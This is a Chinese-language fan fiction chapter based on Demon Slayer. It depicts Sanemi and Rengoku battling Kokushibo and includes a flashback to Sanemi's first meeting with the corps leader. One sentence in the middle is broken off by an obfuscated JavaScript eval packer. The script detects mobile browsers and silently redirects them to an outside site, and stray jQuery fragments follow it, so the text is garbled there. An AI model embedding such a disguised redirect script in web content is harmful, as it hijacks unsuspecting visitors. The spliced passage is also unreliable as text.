青色的罡风悬在刀尖,卷着空气凝成螺旋,不死川实弥一言不发地挥刀,他用力踩在地面做出冲着继国严胜冲撞而去的姿态,却在继国严胜挥出攻击前借力扭转身体贴着地面划过剑光,穿过继国严胜堪称全方位的防守,他的目标从始至终如此清晰——青色的日轮刀斩破空气,风刃裹挟着不死川实弥满腔的怒火狠狠砍向恶鬼的双足。
继国严胜原地跃起,他轻盈地倒悬在半空,哪怕一缕黑发都没有卷入风中。横过一直藏在疤痕满布的刀鞘中的日轮刀,还未来得及躲开,一道流星尾焰般炽烈的轨迹迅猛地向他袭来,正是来自于炼狱杏寿郎。火炎在风中没有熄灭而是燃烧得愈发旺盛,两个柱无须言语交流,哪怕视线都不曾交叠半分,但已经默契地分担进攻的主次,以各自挥动的刀刃逼着继国严胜退无可退,只得直面旋风的削斩。
顺着风的方向,不死川实弥用力砍去,金属相撞声清越无比,砸着周围飞扬的尘土木屑,平白引出一段冷清的尾音。
一直牢牢藏起,哪怕拔刀出鞘的几个瞬间也看不清的刀,终于脱离刀鞘的庇护,将刀身完完整整暴露在外。
那无疑是一柄可怖的刀。绯红如□□剖面的刀身上整齐地生长着数只眼球,它们于刀身凸起,有着活体的意识,左右旋转着瞳孔,最终停止在直视不死川实弥的方向,用毫无感情却叫人感觉如有实质的目光死死盯着他。
“哈!这还真是恶趣味的刀啊……”不死川玄弥绽出一个大大的笑容,握紧手中的刀柄。
终于拔刀的继国严胜面上看不出旁的情绪,只是那三对眼睛沉着地进入战斗的状态,将他的脸庞衬得仿佛只剩下三对血红的眼,诡异的气氛在和室中蔓延,他结实的手臂上青筋暴起,不知从何而来一股怪力,勾着不死川实弥的日轮刀无法挣脱。自他为中心,从刀尖划出的月光兀自交叠、上下腾转,构筑出一个磅礴的旋涡,向外发散开锋利的刀光,斩过四周的木柱时轻易如撕裂一张和纸。
他不用挥剑就能完成数道连续的斩击,不知这一切究竟是建立在他的呼吸法上,还是鬼这一身份带与他的血鬼术。
“值得称赞啊……”再一次以刀刃撞过炼狱杏寿郎和不死川实弥的攻击,继国严胜由衷地开口赞赏,“你们两个……□□条件似乎也都处于剑技的全盛期……”
在这短短的交锋中,他们都敏锐地意识到继国严胜的刀法诡异到令人毛骨悚然。
他的攻击迅疾无声,不必过多动作就能施展高难度的剑技,且每一次斩击周围都附有无数不规则的细小锋刃,长度和大小不时变换,没有固定形态。明明本应该可以躲避的攻击却在真正迎上的一霎产生异变,如果没有常年高强度战斗培养出的战斗直觉,根本来不及应变。
炼狱杏寿郎和不死川实弥交替着攻击,他们各有长处,对于力量和速度的掌握与运用也有着各自的理解,但继国严胜的状态并不受到影响,他的速度依然快得超乎寻常。
这家伙竟然还在使用呼吸法!
无论是再生力还是身体机能都出类拔萃的鬼,借由呼吸法的运转将攻击和速度进一步提升,继国严胜看着毫无破绽,却让不死川实弥心中战意沸腾。有趣!实在有趣!只有这样,才值得一杀!他兴奋地注视着面前的恶鬼,停住与他周旋的步伐,重心下压,伸直手臂将刀猛然挥出,带起四道竖直的青罡风刃,锐利无比地嵌入继国严胜用以抵挡攻击的刀身之中。他借扬刀的动作撇开风刃,刀身在那一刹恢复无恙、光洁如新。
炼狱杏寿郎的突刺自身后击来,燎灼的气息割开继国严胜的衣角。在他妄图侧身避开时,不死川实弥再次接过主攻的重任,抬着刀高高跃起,死力向他劈来!他向后弯下腰背,与实弥的刀尖擦肩而过。但不等继国严胜准备,又一柄刀刺出,躲过继国严胜的攻击,不死川实弥不知在何时提起玄弥的刀,夹着刀柄砍来。
继国严胜撤下架刀的动作,第一时间与实弥分开,旋即划出一道银白的弧形刀痕,将他击退。
随着战斗的推进,月华闪烁在继国严胜的呼吸法淡淡的绯红之中,间或与青色的风色和赤色的火炎相撞,流解在无尽的锋光里。
直到现在,他们还能跟上他的出招速度……真怀念啊,这种感觉……令人亢奋……继国严胜必然是一个严苛的武士,严格地遵守着武士的身份,他从来都认真地对待着战斗。但百年来,能与他真正酣畅一战的人少之又少。
说起来……在从前的战国时代,他也曾像现在这般和风柱切磋过剑法……他看着这个年轻的风柱,风柱的流传不似炎柱,没有家族,在这个人的身上自然找不到丝毫从前的影子。但即使已经过度使用呼吸法来战斗,身体的素质已在某种癫狂的边缘,鼻腔中随着高强度运动与极其兴奋的神经而破裂的毛细血管汇聚成殷红流下,他依然没有要停止战斗的意思。很显然,那不是继国严胜所熟悉的东西。
他的人生,又何尝不是长寂的黑夜中高悬的一轮孤月。
月之呼吸·陆之型·常夜孤月·无间!
遍布的新月形斩击编织成一道密不透风的网,笼罩了不死川实弥可见的视野,锋利无比的刀网在空中收束、延展,冲撞着不死川实弥退开数米。而在这网覆盖的区域内,周围全部的屏风与柱梁都被无情地切割得粉碎。
漫天飞扬的烟尘遍布,一片狼藉,无论是匍匐在地的不死川玄弥还是及时避开攻击救下无一郎的炼狱杏寿郎,都无法隔着那细密的尘埃与散落的残损木柱看清方才的战况。
像是过了很久,他们才听见不死川实弥粗重的呼吸声,他的胸前浮现出数道深可见骨的刀伤,鲜血争先恐后地流下,随着他每一次呼吸淅淅沥沥地汇聚在地上。
继国严胜用那种赞赏的语气评价道:“你坚持得挺久,不过到此为止了……”
“乱动的话,内脏会跑出来……”他的话音陡然停住,出人意料的事件正在发生,他的脉搏正在加快,怎么会……?
不死川实弥哈哈大笑起来。“稀血之于鬼就像木天蓼之于猫,”他浑不在意自己的伤,只迅速地调动着呼吸法竭力向继国严胜砍去,“我的血更是稀血中的稀血!闻到的鬼都会酩酊大醉!你就好好品尝个够吧!”
这一次,继国严胜没能及时避开实弥的攻击。
“喂喂怎么啦?怎么脚下开始踉跄啦?看来这血对于上弦也奏效啊!”伤痛并非不在,只是极大地激发了不死川实弥身体中战斗的因子,以带给神经更为强烈的癫狂感,让他越发兴奋起来,高度集中于手中的日轮刀。
不死川实弥第一次意识到自己的血是特别的,是在开始猎鬼不久后——亲手杀死母亲后,他大脑中一片空白,世间所存在的一切都在瞬间褪去颜色、消磨殆尽,而他浑浑噩噩,如行尸走肉,明明活着却仿佛依然身处那个晦暗无光的夜晚苦苦挣扎。在知道人世间存在着能将好好的人类变作恶鬼的生物之后,他开始猎鬼,鬼杀队是什么不死川实弥并不知道,日轮刀与呼吸法更是从未听闻,他试着用自己能找到的金属武器装备自己,在黑夜中寻找着那些怪异的鬼,同他们搏斗,将他们捆绑起来,直到天亮太阳升起,阳光将他们烧为飞灰。
如今回想起来,那时自己的所作所为疯狂得与自杀无异,能够大难不死大约还是多亏了自己的血液,既能吸引鬼的出现,也能让他们酩酊大醉。对那时的不死川实弥而言,因为猎杀同一个鬼而遇到鬼杀队队员粂野匡近无疑是一件相当走运的事。从他的口中,自己得知了鬼杀队的存在,也多亏了他的引荐,自己才能加入鬼杀队,并且拜入师父门下学习风之呼吸。
粂野匡近是不死川实弥人生中第一个朋友。
但他清晰地知道:善良的人总是会先死去。
这个世界并不合理。
不死川实弥与粂野匡近合力斩杀了下弦之一。成为柱的人却只有他一个。
他转过刀身,目不转睛地注视着继国缘一,因着攻击的必要,两人离得很近,近到在他那三对诡异的眼瞳中实弥能看见自己苍白的倒影。但他的攻击从未停止,仍然固执地劈砍向鬼,将青黑的罡风尽数送去。
继国严胜有些吃惊。至今为止他遇到过的所有柱,受到如此重伤自然分出了胜负,但偏偏这小子,伤成这样还能动?他竟然自行止住了血,使用呼吸法让血液凝固了吗?还收紧肌肉防止内脏流出?不论如何判断,这都不像是人类所能施展之技,初次得见,倒是挺有趣的……
面对比先前的更为爆裂的攻击,受到稀血影响的继国严胜对于身体的掌控变得陌生,然而这微醺的感觉在他漫长的生命中也不过是久违了。又一次因后撤而踉跄时,他很快稳住步伐,并重新掌控一切。以剑技迎接卷起的风痕,被动应敌绝非他的武士之道,在看破不死川实弥妄图以他的失控为突破点,着重攻击他的腿时,继国严胜借机踩上不死川实弥的日轮刀。
将他的刀刃踩入地面,高高举起自己的刀,和他们斩首鬼时一模一样,继国严胜的目标同样是他的脖颈。
在那个瞬间。在那个寂静得好似世界被按下暂停键的瞬间,不死川实弥清晰地回忆起第一天成为柱、被要求去参加柱合会议的时候。
那时他只有满腔的怒火,愤怒与仇恨攫取他的思维,凌驾于他的本能掌控他的意识。第一次见到主公,看到他的笑容时,憎恨由衷地滋生:真让人火大,别人在痛苦中煎熬,他却还能笑得出来。不用弄脏自己的手,也无性命之忧,只要摆出一副悲天悯人的样子,就能支使别人。
“架子不小嘛,产屋敷大人。”他用着恶劣无礼的词汇
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613471|187639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,这当然惹得其他几位柱愤慨不已,即使先前对自己多有照顾、脾气最好的香奈惠也不认同地看着自己。
可在那个场面之中,唯独置身事中的主公还能保持着微笑安抚众柱,“没事的,让他说吧,我无所谓的。”
那个时候的自己……什么也不懂,却相当自以为是,将主公的温和视作面具,誓要打碎他的伪装。抱着无所谓的态度,不死川实弥轻而易举就将难听的话倒豆子似的吐了出来:“令人嫌恶的浮夸演技还真碍眼啊,明明把队员当作用完就扔的棋子。”
“你从没钻研过武术之道吧?一看便知!这种家伙居然是鬼杀队的首领?”他甩开香奈惠试图阻止他的手,尽情表达自己的轻视与不满,“简直让人作呕!”那时距离母亲死去已经过了些年,粂野匡近却刚刚牺牲,不死川实弥回首自己的来路,失去的家人、放弃的弟弟、放逐的自己、丧失的朋友,他跌跌撞撞野蛮生长,用尽一切办法变得强大,自以为可以掌握力量灭杀恶鬼报仇雪恨,叫心底里喧嚣的仇恨平息。可实际上,到头来他什么都没留住。
仍然和绝望地离开家远走的那个幼小的自己一样,两手空空。
“别开玩笑了!”
“对不起。”
不死川实弥抱怨的声音顿住,他怔愣地站在原地,茫然地看着主公。即使那时主公还很年轻,病痛早已让他面目全非,他依然是方才温和的样子,态度从未改变,“我也试过挥刀,但脉搏很快就陷入紊乱,连十次都做不到。”
“若能实现,我也想和你们一样,成为靠一己之力守护他人性命的强大剑士。”他垂下眼,“一味将痛苦的工作加诸你们真的很抱歉。”
他陷入沉默。主公大人的眼神让他回想起母亲,仿佛被温柔的父母用满腔的慈爱疼惜也怜爱地摩挲过脸颊。
偏偏是主公……偏偏是对他的人生无需承担任何责任的主公对他说出了那句“对不起”。
“如果把你们视作棋子,那么我也只是一颗至多可以驱动鬼杀队的棋子。即使就此死了,也不会有任何改变。”主公发出的声音带有奇异的魔力,能让听到的人心生安定,“实弥是第一次参加柱合会议,因此可能有所误会。我并非高位之人,大家也只是出于善意才这般待我,你要是不愿,可以不必和他们一样。”
“与其纠结这些事,还请实弥作为柱好好守护他人,我的愿望仅此而已。”
主公是如此谦虚平和,他的身体虽孱弱,心灵却比任何人都要坚定。他像是透明的,任世界风霜刀剑也丝毫不会受到影响,世界在他面前也像是透明的,谁也无法藏住自己真正的心绪。“匡近刚刚身殒就叫你过来实在抱歉,你们情同手足想必更加难过吧?”
——名字……!
不死川实弥的心脏被什么无声击中了,将他从愣神中砸醒,重新回到人间,他看着主公被孩子们搀扶着走到自己近前,脑袋里恍惚地回响着香奈惠的解释:主公在成为当主之后,牢牢记得每一位牺牲的队员的名字与生平——怎么会?!就算是他也记不住并肩作战过的每一个战死队员的名字……
鬼杀队的队员自加入起就会为自己写下一封遗书,从无例外。在那一天,主公将匡近的遗书交给了自己。不死川实弥第一次知道匡近原来有一个已经逝世的弟弟,这也是他第一次看到别人的遗书。然而鬼杀队的队员们写下的遗书内容都大同小异,要灭杀恶鬼,见到光明的未来。
“希望重要之人能幸福地活到享尽天年的那一天,希望他们的性命绝不会受到不合理的威胁。”
“即使到时候,自己不能活着陪在那个人的身边。”
“也希望他能活着。”
希望他能活下去。他们的心愿,从始至终是一样的。
暂且安顿下无一郎和玄弥的炼狱杏寿郎轻身加入战局,炎之呼吸的招式大开大合、攻击面广阔,火焰的燃烧从来无视对象,平等地赐予每一个靠近的人灼烫。从刀身的一线火痕蔓延而出的烈焰袭向恶鬼,他用力蹬踏地面加速冲过,用自己的刀尖撞开继国严胜妄图斩向不死川实弥的刀刃。
在刀尖被击飞的转瞬,不死川实弥终于掏出自己藏起的火枪,扣下扳机。炸出枪膛的弹丸带有炽烈的温度与声音直直射向他的头颅,但子弹来不及爆炸就已经被继国严胜瞬息间挡住,哪怕一丝擦伤都没造成。
就在这时,不知为何继国严胜忽然数次挥刀割出交错的弯月飞刃,身体则跳出数丈之外。随着他远离的动作,原本他所在的位置却如被巨物砸中般轰然作响,地面碎裂,扬起满目的尘埃。
继国严胜缓缓吐出一口气:“一个个地……不请自来……”
烟尘散去,以独特的剑技作为掩护保下两人的,竟是不知何时到来的——岩柱悲鸣屿行冥!